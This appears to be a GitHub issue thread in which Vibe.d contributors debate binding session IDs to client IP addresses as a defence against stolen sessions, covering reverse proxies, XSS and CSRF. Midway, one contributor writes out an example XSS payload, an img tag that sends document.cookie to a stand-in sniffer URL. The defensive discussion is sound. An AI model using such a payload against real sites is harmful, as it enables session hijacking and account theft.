Support to bind session Id and the ip-address

[ilya-stromberg]

We should have optional ability to bind session Id and the ip-address.

So, if user login we must save he ip-address. After that we should deny access if current ip-address mismatch with original one even if session Id is correct. It can help to increase security: if hacker receives session Id (it doesn't matter how), he can control account only if he can send request from the same ip-address (usually from the same browser).

Also, we can provide API to allow programmer decide what he want to do. For example, if current ip-address mismatch we can allow only read-only mode, but request to enter password again for read-write access.

Note: we can have reverse proxy like Nginx before Vibe.d. In that case we should parse Ip from HTTP header (usually X-Real-IP) and verify reverse proxy Ip (usually 127.0.0.1, but theoretically it can be any Ip) because it helps to make sure that we can trust information from reverse proxy. Also, we should support multiply reverse proxy Ip-addresses (useful if we have a few different load balancers or reverse proxies).

[mihails-strasuns]

Well, real MitM hacker can easily forge IP packets to have "correct" source IP, it is a very questionable security at cost of inconvenience for users (mobile users, for example).

[ilya-stromberg]

I didn't talk that we should switch it on by default. And I didn't talk that it is protection from MitM attack. I just talk about theft session Id when user already receive it (usually XSS attack). I think only SSL can protect from MitM attack, but XSS attack has the first place (~40%).

[ilya-stromberg]

it is a very questionable security at cost of inconvenience for users (mobile users, for example).

BTW, programmer can allow user to chose if he want this protection (for example, "bind session Id and the ip-address" checkbox in login form).

[schancel]

XSS scripting attacks don't come from another origin. They trick your browser into doing the wrong thing. I don't think this feature is particularly useful. This should be implemented by the Session provider -- which we only have memory session store at the moment, so most people roll their own. Most sites like github just allow you to view a log of the places you logged in from. It is trivial to roll your own for this.

[ilya-stromberg]

This should be implemented by the Session provider

Yes, I talk about it.

XSS scripting attacks don't come from another origin. They trick your browser into doing the wrong thing.

Yes, your are right, but store session is also possible. For example, this simple example show how to receive session Id and store it (assumed that we have jQuery support, but it doesn't matter in general case):

<img src="javascript:$.get( 'http://example.com/sniffer.php?id=' + document.cookie )" />

[mihails-strasuns]

Well, if it is optional, no harm is expected. But it sounds like addition of minor importance. When it comes to Session stuff, re-designing it to better work with worker threads is more important thing to start with IMHO ;)

[ilya-stromberg]

They trick your browser into doing the wrong thing. I don't think this feature is particularly useful.

The simple way to protect site from CSRF attacks (and, probably, from some kind of XSS attacks) is request confirmation of all user actions. For example, you can add CAPTCHA for all secure-critical actions. So, hacker can't use CSRF attack because JavaScript doesn't know secret CAPTCHA code. In other hand, if hacker received session Id, he definitely can exploit this because he can enter CAPTCHA code manually.

[ilya-stromberg]

When it comes to Session stuff, re-designing it to better work with worker threads is more important thing to start with IMHO

Yes, certainly. But we should use complex protection, shouldn't we?